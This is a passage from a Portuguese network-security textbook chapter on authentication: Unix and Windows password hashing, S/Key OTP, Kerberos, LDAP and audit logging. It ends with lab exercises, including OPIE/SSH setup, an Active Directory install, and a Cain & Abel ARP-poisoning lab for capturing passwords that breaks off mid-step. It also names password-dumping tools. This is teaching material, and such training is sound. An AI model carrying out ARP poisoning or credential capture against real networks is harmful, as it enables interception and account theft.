11 Evitar que senhas duplicadas sejam visualizadas no arquivo de senhas. Mesmo que mais de um usuário tenha escolhido a mesma senha, o valor de SALT será diferente, resultando em valores de Hash diferentes. 11 Aumentar o tamanho da senha, sem a necessidade de o usuário lembrar de todo o comprimento adicional da senha, assim dificultando a tarefa de sistemas adivinhadores de senha. 11 Impedir o uso de uma implementação que utilize o DES em hardware, minimizando a possibilidade de ataques de descoberta da senha por força bruta. Quando um usuário Unix vai realizar o processo de login no sistema, fornece o ID do usuário e a senha. O sistema utiliza o ID do usuário para varrer o arquivo de usuários /etc/passwd para encontrar o UID (número identificador do usuário no sistema) e em seguida consultar o

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Valor do SALT

131

arquivo de senhas para encontrar o SALT do usuário e o Hash. Com essas informações disponíveis, a função crypt() é chamada, a senha é digitada pelo usuário e passada junto com seu respectivo SALT. Se o Hash gerado pela função for igual ao Hash do arquivo de senhas, o acesso ao sistema é concedido. O arquivo /etc/shadow possui permissão de leitura apenas pelo administrador do sistema, formando uma barreira adicional de proteção, visto que os usuários comuns do sistema não possuem acesso de leitura a esse arquivo, e consequentemente não possuem acesso às senhas cifradas dos usuários.

Exercício de fixação 5 e Sistema de senhas Linux Para que é utilizado o ID?

Exercício de fixação 6 e SALT Quais os objetivos do SALT?

Sistema de senhas Windows Registros de usuário Windows (NT4, 2000, XP e 2003 Server) são armazenados no banco de dados do Security Account Manager (SAM), do gerenciador de contas de segurança ou no banco de dados do Active Directory. Cada conta de usuário está associada a duas senhas: a senha compatível com o LAN Manager e a senha do Windows. Cada senha é criptografada e armazenada no banco de dados SAM ou no banco de dados do Active Directory.

Hash LM O Hash LM (Lan Manager) não é exatamente um Hash, sendo gerado como resultado de um processo de manipulação de strings, e obtido com os seguintes passos: 1. Converte todos os caracteres minúsculos da senha em maiúsculos.

Segurança de Redes e Sistemas

2. Preenche a senha com caracteres nulos até que ela tenha exatamente 14 caracteres.

132

3. Divide a senha em duas partes de sete caracteres. 4. Usa cada parte separadamente como uma chave DES para criptografar uma

sequência específica. 5. Encadeia os dois textos criptografados em uma sequência com 128 bits e

armazena o resultado. Como resultado do algoritmo usado para gerar o Hash LM, o Hash é muito fácil de ser quebrado. Primeiro, mesmo uma senha com mais de oito caracteres pode ser atacada em duas

partes distintas. Depois, todo o conjunto de caracteres minúsculos pode ser ignorado. Isso significa que a maioria das ferramentas para quebrar senhas começa quebrando os Hashes LM e depois simplesmente varia os caracteres alfabéticos na senha quebrada para gerar senhas que fazem distinção entre maiúsculas e minúsculas.

Hash NTLM Solução proprietária da Microsoft que abriu a especificação para parceiros implemen-

q

tarem soluções integradas.Hash Unicode. 11 Hash MD4. 11 Mais resistente a ataques de força bruta do que o Hash LM.O Hash NTLM também é conhecido como Hash Unicode, porque dá suporte a todo o conjunto de caracteres Unicode. O Hash NTLM é calculado pegando-se a senha no formato de texto claro e gerando um Hash Message Digest 4 (MD4) a partir dele. O Hash MD4 está realmente armazenando no banco de dados do Active Directory ou no banco de dados do Security Accounts Manager (SAM) ou Gerenciador de Contas de Segurança. O Hash NTLM é muito mais resistente a ataques de força bruta do que o Hash LM.

Administrando as senhas 11 Treinamento do usuário.

q

11 Requisitos de complexidade. 11 Tempo de duração da senha. 11 Análise de dicionário. Se um usuário mal-intencionado conseguir algum tipo de acesso ao sistema, como, por exemplo, pelo uso de uma conta de convidado ou de sistema desprotegida de senha ou com senha padrão, ele poderá conseguir uma listagem dos usuários válidos do sistema e dessa forma tentar um ataque de dicionário. Como a maioria dos usuários utilizam senhas com palavras existentes em dicionários, será fácil conseguir quebrar essa primeira barreira de segurança do sistema. Use senhas longas, combinando letras maiúsculas e minúsculas, números e caracteres

Esse usuário mal-intencionado poderá descobrir as senhas do sistema se conseguir enviar a base de dados das senhas para uma máquina remota e nessa máquina remota utilizar um programa de quebra de senhas, com um dicionário. Dependendo da quantidade de senhas presentes no arquivo e do poder computacional disponível para o usuário mal-intencionado, este pode conseguir quebrar um número grande de senhas em um pequeno intervalo de tempo. Para proteger as contas dos usuários do sistema, o administrador pode minimizar os efeitos dessas ferramentas utilizando práticas recomendadas para o gerenciamento de senhas, como veremos a seguir.

Treinamento do usuário Reforçar aos usuários a importância de manter suas senhas protegidas de amigos e familiares (especialmente crianças), que poderiam divulgá-las a outras pessoas menos confiáveis. As senhas que você precisa compartilhar, como a senha de uma conta conjunta on-line, são as únicas exceções. Não anotar senhas em agendas, no monitor do computador,

Capítulo 6 - Autenticação, Autorização e Certificação Digital

especiais, dificultando os ataques.

embaixo do teclado etc. 133

Requisitos de complexidade Uma boa senha deve ter um número mínimo de caracteres, deve utilizar caracteres de diversos conjuntos (maiúsculas, minúsculas, números e símbolos), não deve constar em dicionários e deve ser fácil de lembrar. É importante que o administrador seja sensível à dificuldade dos usuários de lembrar senhas, de modo que ele não aplique regras muito restritivas, que possam forçar os usuários a anotar as senhas. A troca de senhas a cada mês ou requisitos de complexidade muito severos são alguns exemplos de regras que podem complicar a vida do usuário.

Exercício de fixação 7 e Sistema de senhas no Windows Explique onde são armazenadas as senhas no Windows.

Sistemas de Autenticação Única Com o uso cada vez mais intenso de sistemas informatizados para soluções comerciais, novos sistemas vão surgindo em implementações que automatizam os processos do negócio. A implementação de um mecanismo único de autenticação é desejável para simplificar a gerência de usuários e senhas dos clientes dos sistemas, assim como para simplificar e aumentar a eficiência do gerenciamento das contas e suas respectivas senhas pelo administrador. Nesse cenário, é importante que as soluções informatizadas possam integrar uma solução de autenticação única para todos os sistemas. Dessa forma, um usuário, uma vez autenticado, deverá ter acesso a todos os sistemas que tiver autorização para acessar. Existem várias soluções de implementação de SSO, como NTLM, uma solução proprietária da Microsoft que abriu a especificação para parceiros implementarem soluções integradas. Outros sistemas baseado em Kerberos são Smart Card e OTP Token.

OTP One Time Passwords (OTP) é um mecanismo que utiliza senhas descartáveis. Para cada acesso é gerada uma senha que logo em seguida perde o valor. Assim, se a senha de um usuário for capturada, não servirá para comprometer o sistema. Existem várias maneiras de gerar as senhas, como, por exemplo, o uso de calculadoras Java, que podem estar em sistemas embarcados como um PDA ou um celular. O problema dessas implementações é o Segurança de Redes e Sistemas

fato de o usuário ter a necessidade de estar perto da calculadora para ter acesso ao sistema.

134

S/Key Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e derivados.O usuário provê um segredo W. 11 Uma função Hash é aplicada n vezes em cima de W. 11 O usuário obtém n senhas correspondentes a cada passagem da função Hash.

q

Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e derivados, como o caso do Linux. A proposta do S/Key é obter um conjunto de senhas em que cada uma só pode ser utilizada uma vez. O processo de inicialização do S/Key funciona da seguinte forma: 1. O usuário provê um segredo W, a base de todo o processo, que nunca pode

ser comprometido. 2. Uma função Hash é aplicada n vezes em cima de W, concatenando com um elemento

randômico criado durante a inicialização. 3. O usuário obtém n senhas correspondentes a cada passagem da função Hash. Dessa

assim sucessivamente, até esgotar as senhas, quando o processo deverá ser reinicializado. Considerando que a partir de n é inviável deduzir n-1 (envolve reverter uma função Hash), caso n seja comprometida, ela já não mais poderá ser usada, pois cada senha só é usada uma vez. Para facilitar a digitação por parte do usuário, os bytes de cada Hash são convertidos para palavras, utilizando uma tabela de conversão padronizada.

Smart Card O Smart Card, ou Cartão Inteligente, é um cartão de plástico, semelhante a um cartão de crédito, com um microchip embutido na superfície. O conceito de Smart Card foi patenteado pelo Dr. Kunitaka Arimura no Japão, em 1970. Embora existam muitos tipos, qualquer Smart Card pode ser classificado quanto à forma

q

de conexão com a leitora: 11 Por contato físico: entende-se a inserção do cartão na leitora, onde os contatos dos terminais do cartão com os da leitura permitem a troca de dados entre ambos. É importante salientar que a maioria dos Smart Cards possuem terminais para esse tipo de conexão. 11 Sem contato físico: se refere aos cartões que não necessitam de contato físico com a leitora, o que indica que a conexão é feita através de ondas eletromagnéticas. A ausência do ato de inserção traz benefícios, como economia de tempo e preservação dos terminais do cartão. Um exemplo interessante deste tipo de cartão são os passaportes eletrônicos. Por serem muito mais baratos, os cartões por contato ainda são os mais utilizados, oferecendo um nível razoável de segurança e abrangendo uma ampla gama de aplicações. Os cartões por contato são também chamados de Cartões de Memória (Memory Cards). Os Smart Cards que não fazem uso de contato físico são tipicamente Cartões Microprocessados. Embora não seja do escopo dos cartões de identificação, a modalidade de transmissão sem contato permite que o cartão propriamente dito seja apenas um portador do chip, ou seja, a presença do chip em anéis, relógios, braceletes e tornozeleiras ainda não quebra o conceito de Smart Card. Os cartões inteligentes por contato físico podem ser utilizados com leitores conectados em um computador pessoal, a fim de autenticar um usuário. Softwares de navegação na internet também podem utilizar a tecnologia do Smart Card para complementar SSL (Secure Sockets Layer), utilizado para melhorar a segurança em transações na internet. Como o cartão inteligente possui arquitetura de hardware e software, ele interage com o sistema, permitindo ou negando acesso quando necessário. Ele pode ser programado, por exemplo,

Capítulo 6 - Autenticação, Autorização e Certificação Digital

d

A lista de palavras e o funcionamento do S/Key constam na RFC 1760.

forma, o usuário utiliza a senha n para a primeira autenticação, a senha n-1 para a segunda e

135

para que após cinco tentativas de autenticação sem sucesso, o conteúdo da memória seja destruído, inutilizando-o. Hoje em dia é muito comum Smart Cards nos nossos cartões de crédito, em chips de celulares GSM ou em cartões emitidos pelo governo, como o e-CPF e o e-CNPJ, além do recém-anunciado Registro de Identificação Civil (RIC). Nesses casos, o cartão contém um certificado digital padrão ICP-Brasil. Os certificados digitais serão vistos em mais detalhes na sessão 7. Em alguns desses cartões, existe um sistema complexo de proteção do material criptográfico contido dentro do cartão, que se apaga caso o cartão seja aberto ou haja erro na senha de acesso em um determinado número de vezes. Normalmente, as chaves privadas nunca saem de dentro do cartão, que possui um chip capaz de realizar operações criptográficas dentro do próprio cartão.

Servidores de diretório: LDAP Banco de dados com informações descritivas, baseado em atributos e organizado em

q

forma hierárquica (árvore) e não relacional (tabelas), otimizado para leitura e com certificação digital e baseado em entradas. Uma entrada é um conjunto de atributos referenciado por Nome Distinto (DN) de forma não ambígua. Cada atributo de entrada tem um tipo de valor, como por exemplo CN e ON. LDAP é um protocolo (TCP/IP) cliente-servidor, utilizado para acessar um serviço de diretório. Foi inicialmente usado como uma interface para o X.500, mas também pode ser usado

X.500

com autonomia e com outros tipos de servidores de diretório. Atualmente tornou-se padrão

Série de recomendações do ITU-T que definem o serviço de diretório.

e diversos programas já têm suporte a LDAP. Livros de endereços, autenticação, armazenamento de certificados digitais (S/MIME) e de chaves públicas (PGP) são alguns dos exemplos de onde o LDAP já é amplamente utilizado.

Serviço de diretório Um diretório é como um banco de dados, que tende a conter informações descritivas, baseadas em atributo, sendo organizado em forma hierárquica (árvore) e não relacional (tabelas). A informação em um diretório é geralmente mais lida do que escrita, de modo que normalmente os diretórios são otimizados para leitura. Como consequência, diretórios normalmente não são usados para programar transações complexas ou esquemas de consultas regulares em bancos de dados. Diretórios são preparados para dar resposta rápida a um grande volume de consultas ou operações de busca. Eles também podem ter a habilidade de replicar informações extensamente; isso é usado para acrescentar disponibilidade e confiabilidade, enquanto reduzem o tempo de resposta.

Segurança de Redes e Sistemas

As recomendações do ITU-T X.509 são parte da série de recomendações X.500, que define

136

serviços de diretório. A ITU-T define que o diretório é um servidor ou um conjunto de servi-

ITU-T

dores distribuídos que mantêm a base de informações de usuários. Nessa base de informa-

Setor de normatização de telecomunicações, responsável por coordenar padronizações relacionadas a telecomunicações da União Internacional de Telecomunicações.

ções estão contidos endereços de rede e outros atributos e informações de usuários.

Exercício de fixação 8 e LDAP Explique o que é o LDAP.

Exercício de fixação 9 e Serviço de diretórios O que é um serviço de diretório?

Tipos de informação O modelo de serviço do diretório LDAP é baseado em entradas. Uma entrada é um conjunto de atributos e é referenciada através de um nome distinto (DN). O DN é usado para referenciar uma entrada de forma não ambígua. Cada um dos atributos de entrada tem um tipo e um ou mais valores. Esses tipos geralmente são palavras mnemônicas, como CN para nome comum, ou mail para endereço de correio eletrônico; existem RFCs que determinam essas palavras, com os valores dependendo do tipo de atributo. Por exemplo, um atributo mail pode conter o valor . Um atributo fotoJpeg conterá uma fotografia.

Protocolo Kerberos

Saiba mais Na mitologia Grega, Kerberos era um cachorro que possuía três cabeças e era responsável por vigiar os portões de Hades, tendo como sua principal missão evitar a entrada e saída de pessoas ou de coisas indesejáveis.

of Technology), como parte de um projeto de segurança que visava produzir um ambiente de TI seguro e amplamente distribuído pelo campus da universidade. Fazendo uso de criptografia de chave privada, provê autenticação em redes abertas mediante uso de algoritmo de autenticação de três vias (TTP – Trusted Third Party), proposto por Needham e Schroeder. Todos os equipamentos envolvidos devem confiar mutualmente no sistema de autenticação central provido pelo Kerberos. Esse conceito é semelhante a um cartório no mundo real, ou seja, a sociedade confiará na assinatura de um tabelião para afirmar que os envolvidos realmente se identificaram (autenticaram) durante a assinatura de um determinado contrato. Como o nome sugere, o Kerberos funciona, basicamente, como três componentes principais, um para cada função específica: 11 Ticket: tipo de certificado/token que informa com segurança, para todos os equipamentos conectados ao sistema de autenticação, a identidade do usuário para quem o ticket foi concedido. 11 Autenticador: uma credencial gerada pelo cliente com informações que são comparadas com as informações do ticket, para garantir que o cliente que está apresentando o ticket é o mesmo para o qual o ticket foi concedido.

Capítulo 6 - Autenticação, Autorização e Certificação Digital

l

Protocolo de autenticação de rede desenvolvido em 1983 pelo MIT (Massachusetts Institute

137

11 Centro de distribuição de chaves: para acessar uma aplicação, o usuário obtém temporariamente tickets válidos através do centro de distribuição de chaves que ratificam os tickets com o autenticador. A aplicação examina o ticket e o autenticador quanto à validade e concede acesso caso sejam válidos. Explicando de uma forma mais simplificada, imagine um sistema de vendas de ingressos para um filme de cinema com classificação para maiores de 18 anos. Para comprar o ingresso, você deve ir então à bilheteria (centro de distribuição) para realizar o pagamento e provar que você possui mais de 18 anos. Ao realizar essas atividades com sucesso, a bilheteria vai lhe fornecer um ingresso (ticket) que você apresentará ao bilheteiro (autenticador), assim que tentar entrar na sala do filme. O bilheteiro vai verificar se o ticket é verdadeiro antes de lhe permitir entrar na sala de cinema. Para o processo de autenticação são utilizados três servidores: 11 Servidor de Autenticação (Authentication Server – AS): responsável por receber um pedido de autenticação de um usuário e verificar se a identidade desse usuário é autêntica. Sendo válida essa identidade, o AS fornece um ticket e uma chave de sessão, que vai permitir o contato com outro servidor, o TGS. 11 Servidor de Concessão de Tickets (Ticket Granting Server – TGS): responsável por fornecer tickets para serviços específicos requeridos pelo usuário. O contato com o TGS é feito após a autenticação pelo AS. O usuário tem seu ticket avaliado e, uma vez validado pelo TGS, recebe um novo ticket, agora para obter algum serviço disponível. 11 Servidor de Administração (KADM): servidor responsável por controlar as chaves secretas (informações criptografadas). Antes de realizar o processo de autenticação, é preciso que o usuário cadastre seus dados através do KADM, para que possua um login e uma senha.

Key Distribution Center (KDC)

Ba

nco de Dados

Authentication Server (AS)

_R

AS _R EP

Q

RE S_

EP

R S_

AS

TG TG

EQ

Ticket Granting Server (TGS)

AP_REP

Segurança de Redes e Sistemas

AP_REQ

138

Servidor de aplicação

Cliente

Resumidamente, os seguintes passos são executados quando um usuário tentar acessar um determinado serviço em um Application Server. 1. O usuário realiza uma autenticação em sua estação (utilizando usuário e senha, por exemplo). 2. O Cliente Kerberos então executa uma função hash sobre a senha digitada e isso se torna

a Chave Secreta do Cliente/Usuário (aqui chamada de K1).

Figura 6.6 Processo de autenticação do Kerberos. Fonte: http://www. gta.ufrj.br.

3. O Cliente Kerberos envia uma mensagem em texto claro para o Authentication Server

(AS) contendo o Identificador do Usuário (nessa fase, não é enviada a chave K1 e/ou a senha do usuário para o AS).

4. O AS gera a chave secreta (K1) utilizando a mesma função hash utilizada pelo usuário a

partir da senha do usuário encontrada no servidor de banco de dados (por exemplo, o Active Directory no Windows Server). 5. O AS envia de volta ao cliente duas mensagens:

11 Mensagem A contendo a Chave de Sessão do TGS (K2) cifrada utilizando a chave K1 gerada no passo anterior. 11 Mensagem B contendo o TGT (Ticket-Granting-Ticket), que inclui a identificação do cliente, endereço de rede do cliente, prazo de validade do ticket e a Chave de Sessão do cliente TGS (K2). Todo o conteúdo do ticket TGT é criptografado usando a Chave Secreta TGS, gerada pelo Servidor TGS e enviada de forma cifrada na Mensagem A.

6. O cliente recebe mensagens A e B e tenta decifrá-las utilizando a chave K1 e, após, tenta recu-

perar a Chave TGS da Sessão (k2), que está cifrada na mensagem A. Caso não consiga, fica claro que o usuário não possui a chave secreta (k1) e, portanto, não deve ser autenticado.

d

Saiba mais

Kerberos no Windows A implementação Kerberos do Windows foi implementada a partir do Windows 2000 Server, onde passou a ser padrão no Active Directory, o serviço de diretórios da Microsoft. O Active

Mais informações sobre o Kerberos podem ser encontradas na RFC 4120.

Directory consiste em um diretório X.500 (LDAP), combinado com autenticação Kerberos. No Active Directory, o Kerberos substitui a autenticação NTLM, facilitando o uso de single sign-on (SSO) e tornando a solução mais segura. Apesar de o Kerberos ser um protocolo mais robusto, as senhas ainda são armazenadas em formato de Hash no diretório e podem ser obtidas através de utilitários encontrados na internet, como o Cain & Abel, Pwdump e Ophcrack. A figura a seguir mostra o funcionamento geral do Kerberos.

Key Distribution Center (KDC)

2. Here is a TGT-If you can decrypt this response with your password hash

User logs in to gain network access

Authentication Service (AS)

Ticket Granting Service (TGS)

3. Here is my TGT, give me a Service Ticket

4. Here is your Service Ticket 5. Here is my Service Ticket Authenticate me Figura 6.7 Kerberos (Fonte: Cisco).

6. Cliente/Server session

Network services

Capítulo 6 - Autenticação, Autorização e Certificação Digital

1. I am user Sam and need a Ticket to Get Ticket

139

Acesso a serviços em uma rede Sempre que um usuário tentar acessar um serviço na rede, o cliente Kerberos enviará para o TGS o TGT que foi gerado pelo serviço de autenticação (KDS). O TGS vai gerar um ticket para o serviço em particular que será utilizado pelo cliente. Esse funcionamento é detalhado nos passos abaixo, que explicam o funcionamento do protocolo nessa situação: 1. Ao tentar acessar um serviço em um servidor, o cliente Kerberos envia duas mensagens

ao TGS.

11 Mensagem C: composta pelo TGT informado na Mensagem B do item anterior e o identificador do serviço que está sendo requisitado.

11 Mensagem D: autenticador, composto pelo identificador do cliente e de um período de validade cifrado com a Chave de Sessão TGS do cliente (K2).

2. De posse das mensagens C e D, o servidor TGS tentará recuperar o TGT da Mensagem B

a partir da mensagem C. Ele vai decifrar a mensagem B utilizando a Chave de Sessão TGS (K2) que ele gerou nos passos anteriores. Isso vai produzir uma Chave de Sessão TGS (k2), que foi informada pelo cliente a qual ele vai comparar com sua Chave de Sessão TG (K2) que ele possui associada ao cliente. Após isso, ele decifrará a mensagem D e, se tudo tiver acontecido de forma correta, ele enviará ao cliente: 11 Mensagem E: Ticket Client-to-Server, que inclui o Identificador do Cliente, o endereço de rede do cliente, um período de validade para a Session Key entre o cliente e o servidor

(K3), tudo cifrado, utilizando a chave secreta gerada para o serviço (k2).

11 Mensagem F: Chave Secreta entre cliente e servidor (k3) cifrada utilizando a chave TGS gerada para o cliente.

3. De posse das mensagens E e F geradas pelo TGS, o cliente encaminha essas informa-

ções para o servidor responsável pelo serviço em que o usuário está tentando acesso, enviando as mensagens:

11 Mensagem E: gerada no passo anterior, contendo o Ticket Client-to-Server cifrado utilizando a chave Secreta do Serviço (K3). 11 Mensagem G: uma nova mensagem de autenticação, incluindo o identificador do cliente e um período de validade. Todas essas informações cifradas, utilizando a chave de sessão K3. 4. O servidor do serviço decifra o ticket utilizando sua própria chave secreta e recupera a

Chave de Sessão Cliente/Servidor (K3). Usando a chave de sessão K3, ele decifra a mensagem G e confirma a veracidade do processo de autenticação. Se tudo tiver acontecido corretamente, o servidor do serviço envia uma mensagem para o cliente, confirmando sua identidade e o período de validade informado pelo cliente na mensagem G, acrescido de 1.

Segurança de Redes e Sistemas

5. O cliente, ao receber essa mensagem do servidor, verifica a autenticidade da mensagem

140

decifrando-a com a Chave de Sessão Cliente/Servidor (K3) e, também, se a hora está atualizada corretamente. Após isso, é iniciado então o acesso ao serviço solicitado.

Benefícios do Kerberos Dentre os principais benefícios de se utilizar o Kerberos em redes de computadores, podemos destacar: 11 Padrões baseados em autenticação robusta. 11 Amplo suporte ao sistema operacional.

11 Provê capacidade de Single Sign-On (SSO). 11 Senhas nunca percorrem a rede. 11 Senhas de difícil previsão. 11 Tickets de autenticação roubados não podem ser reutilizados.

Organização do Kerberos O Kerberos oferece um mecanismo para autenticação mútua entre partes, antes de se estabelecer efetivamente uma comunicação segura. O Kerberos usa o que é conhecido como KDC (Key Distribution Center), para facilitar a distribuição segura de permissões e de chaves simétricas dentro de uma rede. O KDC é executado como um serviço em um servidor e mantém uma base de dados para todas as entidades de segurança dentro do chamado Domínio Kerberos. O Kerberos divide a rede nos chamados reinos (realms). Cada reino possui seu servidor de autenticação e uma política de segurança própria, permitindo diferentes níveis de segurança por reino. Essa divisão de reinos pode ser hierarquizada, fazendo com que cada área da organização possua um reino local vinculado a um reino central.

Administrativo Empresa 1

Internet

Financeiro Empresa 1

Por exemplo, para que o domínio “Administrativo Empresa1” consiga acessar serviços de “Financeiro Empresa1” em um meio inseguro como a internet, basta que os servidores Kerberos troquem chaves de segurança e se autentiquem mutuamente. Assim o usuário autenticado em “Administrativo Empresa1” não necessita de outra autenticação para acessar serviços em “Financeiro Empresa1”. Em uma rede Windows, o Kerberos funciona no controlador de domínio e utiliza o Active directory para autenticar, efetivamente, todas as entidades constantes nesse diretório. Para mais informações sobre o funcionamento do protocolo Kerberos, consulte: 11 Related Requests For CommentsRFC 4120 – The Kerberos Network Authentication Service (V5). 11 RFC 4537 – Kerberos Cryptosystem Negotiation Extension. 11 RFC 4752 – The Kerberos V5 (GSSAPI) Simple Authentication and Security Layer (SASL) Mechanism. 11 RFC 6111 – Additional Kerberos Naming Constraints. 11 RFC 6112 – Anonymity Support for Kerberos. 11 RFC 6113 – A Generalized Framework for Kerberos Pre-Authentication. 11 RFC 6251 – Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol.

Exercício de fixação 10 e Kerberos O que é Kerberos e como é utilizado?

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Figura 6.8 Exemplo de autenticação mútua para acesso de serviços.

141

Certificação digital A recomendação X.509 define um framework para provimento de serviços de autenticação de usuário do diretório X.500. O diretório também pode servir como um repositório de certificados públicos de usuários do repositório. O X.509 define também alternativas de protocolos de autenticação com base no uso de certificados digitais. A recomendação X.509 é baseada no uso de algoritmos criptográficos de chave pública e assinatura digital. Ela não

Assinatura digital

explicita o uso de um algoritmo especificamente, mas recomenda o uso do RSA.

Método de autenticação dos algoritmos de criptografia de chave pública operando em conjunto com uma função Hash, também conhecida como função resumo.

Autoridades certificadoras Existem várias implementações de Infraestrutura de Chave Pública (PKI) comerciais e de software livre: 11 Microsoft Windows 2008 Server – CertificateAutority. 11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003. 11 Projeto de software livre OpenCA PKI – PublicKeyInfrastructure.

Trilhas de auditoria A análise dos eventos é uma atividade vital para identificar o que ou quem causou algo no sistema. O processo de auditoria pode ser dividido em fases definidas na elaboração da política de segurança. A auditoria em segurança da informação tem o papel de assegurar a qualidade da informação e participar do processo de garantia quanto a possíveis e indesejáveis problemas de falha humana. Trilha de auditoria é termo genérico para registro de uma sequência de atividades em um sistema ou conjunto deles. A ideia básica da análise de trilhas de auditoria é, em primeiro lugar, registrar e armazenar as atividades do sistema em uma sequência selecionada por projetistas ou administradores com base nas políticas previamente definidas. Uma auditoria é indispensável para o monitoramento relacionado à segurança de qualquer aplicativo baseado em servidor, de servidores de e-mail a bancos de dados e servidores web. Nos ambientes atuais que valorizam a segurança, uma trilha de auditoria confiável é uma ferramenta valiosa e normalmente um requisito legal para determinadas indústrias. Por exemplo, normas norte-americanas como a Sarbanes-Oxley e a HIPAA (Health Insurance Portability Accountability Act) requerem trilhas de auditoria para determinados sistemas, aplicativos e dados.

Geração dos dados Os sistemas operacionais Windows Server 2003 e 2008 fornecem recursos que permitem Segurança de Redes e Sistemas

que um grande número de aplicativos use a funcionalidade de auditoria. Podem ser regis-

142

trados eventos das atividades realizadas pelo e no sistema. Um exemplo é a configuração das diretivas de segurança local do Windows, ferramenta que permite configurar o registro de eventos, como o acesso a objetos locais, conforme as figuras seguintes.

Falta a navegação para acesso à funcionalidade. Acesse “Local Security Policy” em Local Policies>Audit Policy>Audit object acess. Configure como Failure.

Figura 6.10 Configurando as propriedades de Audit object access.

Uma vez configurada a diretiva, os registros serão gravados localmente no próprio sistema, podendo ser visualizados com o Event Viewer, outra ferramenta Windows.

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Figura 6.9 Acesso às funcionalidades de Audit Policy.

143

Segurança de Redes e Sistemas

Figura 6.11 Visualizador de eventos (Audit Failure).

144

Roteiro de Atividades 6 Atividade 1 – Utilização do sistema OTP S/Key Nesta atividade, vamos configurar o uso de um sistema de autenticação OTP utilizando o

Passo 1

Como processo inicial, vamos instalar o OpenSSH-Server no host LinServer e no FWGW1, para fazermos acesso a ele via SSH. Para instalar o servidor OpenSSH, vamos utilizar os seguintes comandos apt-get:

# apt-get update # apt-get install openssh-server Passo 2

Uma vez instalado o SSHD, vamos instalar o Opie cliente e servidor no FWGW1, que utilizaremos como ferramenta para alteração do método de autenticação do pam.d. Para instalar, utilizaremos novamente o apt-get:

# apt-get install opie-client opie-server Passo 3

Agora que o Opie está instalado na máquina, edite o arquivo /etc/pam.d/sshd e comente a linha @include common-auth; após essa linha, vamos adicionar mais três linhas ao arquivo de configuração:

auth sufficient pam_unix.so auth sufficient pam_opie.so auth required pam_deny.so Essas linhas instruirão o Pluggable Authentication Module (PAM) do Linux a tentar utilizar o módulo pam_opie.so, que consulta o Opie para autenticar no sistema. Passo 4

Agora, edite o arquivo de configuração do SSH para permitir resposta a desafios, depois reinicie o servidor SSH, com o seguinte comando com o usuário root:

# vi /etc/ssh/sshd_config ... ChallengeResponseAuthentication yes ... Reinicie o serviço:

# /etc/init.d/ssh restart Passo 5

Antes de autenticar um usuário, vamos incluir um usuário para usar a autenticação S/Key do Opie. Para isso execute:

# su aluno # aluno@FWGW1:~$ opiepasswd -f –c Passo 5

Agora, utilizando o putty ou um cliente ssh qualquer tente se autenticar no FWGW1 utilizando o usuário aluno e a senha cadastrada no OPIE. Observe que agora, para autenticar, será necessário responder ao desafio apresentado pelo ssh. Para calcular o desafio poderemos utilizar o opie-client instalado na máquina Linux ou utilizar uma calculadora Javascript disponível em: http://www.ocf.berkeley.edu/~jjlin/jsotp/

Passo 6

Aqui é importante relembrar o processo de inicialização do S/Key descrito durante a sessão teórica. Você consegue entender os dados inseridos na calculadora Javascript apresentada, e como eles serão usados para calcular as senhas?

Capítulo 6 - Roteiro de Atividades

d

Para saber mais sobre outras opções de configuração, consulte o manual on-line do projeto (Connecting to the Berkeley Mathematics Department with opie).

Opie. Será fornecido acesso SSH ao host LinServer.

145

Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008 Para realizar a instalação do serviço de autenticação Kerberos do Windows 2008 será necessário realizar a instalação da Rule Active Directory. Para isso execute o comando dcpromo.exe. 1. Na página “Active Directory Domain Services Installation Wizard,” marque a opção

“Use advanced mode installation” e clique em “Next”. 2. Na página “Operating System Compatibility” clique em “Next”. 3. Na página “Choose a Deployment Configuration”, selecione “Create a new domain in

a new forest” e clique em “Next”. 4. Na página “Name the Forest Root Domain”, digite o nome DNS completo do domínio raiz

da floresta. No nosso digite domainA.esr.local ou domainB.esr.local (dependendo do seu grupo) e clique em “Next”. 5. Na próxima página será necessário informar um nome NetBios para o domínio. Insira

DOMAINA ou DOMAINB (dependendo do seu grupo) e clique em “Next”. 6. Na página “Set Forest Functional Level”, selecione o nível funcional de floresta que

acomoda os controladores de domínio a serem instalados em qualquer lugar da Floresta; em seguida, clique em “Next”. Como teremos somente controladores de domínio Windows 2008 Server, utilizaremos o nível funcional Windows 2008 Server. Após selecionar, clique em “Next”. 7. Na página “Additional Domain Controller Options“, a opção “Servidor DNS” está sele-

cionada por padrão, portanto, a infraestrutura DNS da sua floresta deverá ser criada durante a instalação do AD DS. Clique em “Next”. 8. Se o assistente não puder criar uma delegação para o servidor DNS, uma mensagem será

exibida para indicar que você pode criar a delegação manualmente. Para continuar, clique em “Yes”. 9. Na página “Location for Database, Log Files, and SYSVOL”, mantenha os valores originais

propostos pelo instalador e, em seguida, clique em “Next”. 10. Na página Senha do “Directory Services Restore Mode Administrator Password“, digite

“rnpesr” e confirme a senha do modo de restauração; em seguida, clique em “Next”. 11. Na página “Summary”, clique em “Next”. 12. Após a instalação das funções AD, DS e DNS, será necessário reiniciar o servidor. 13. Agora inicie a máquina Virtual Windows XP e a adicione no domínio que você acabou de

criar. Não se esqueça de alterar o endereço do servidor de DNS para o IP do servidor

Segurança de Redes e Sistemas

Windows 2008, ou seja, 172.16.G.20.

146

14. Crie um usuário no AD chamado RNP e execute o Wireshark. Tendo a certeza de que

o Wireshark está em execução no servidor Windows 2008 e que ele está capturando pacotes, acesse a máquina virtual Windows XP e realize a autenticação utilizando o usuário RNP. Tente visualizar todas as mensagens citadas na parte teórica deste livro.

Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação Nesta atividade usaremos o Cain & Abel para realizar um ataque de ARP-Poison, capturar senhas e avaliar a segurança do sistema de autenticação. 1. Acesse o Servidor Windows 2008 e crie um novo usuário chamado RNP2, com a senha 123456. 2. A partir do servidor Windows 2008, acesse o site www.google.com.br. Entre no prompt de

comando e execute o comando arp –a. Anote o endereço MAC do IP 172.16.G.1. 3. Agora, autentique como Administrador na máquina virtual Windows XP, desative o firewall

e inicie o programa Cain & Abel (o executável do programa Cain & Abel encontra-se em: c:\arquivos de programas\Cain\Cain.exe). 4. Iniciemos a execução do sniffer (clique no ícone que parece uma placa de rede, selecione

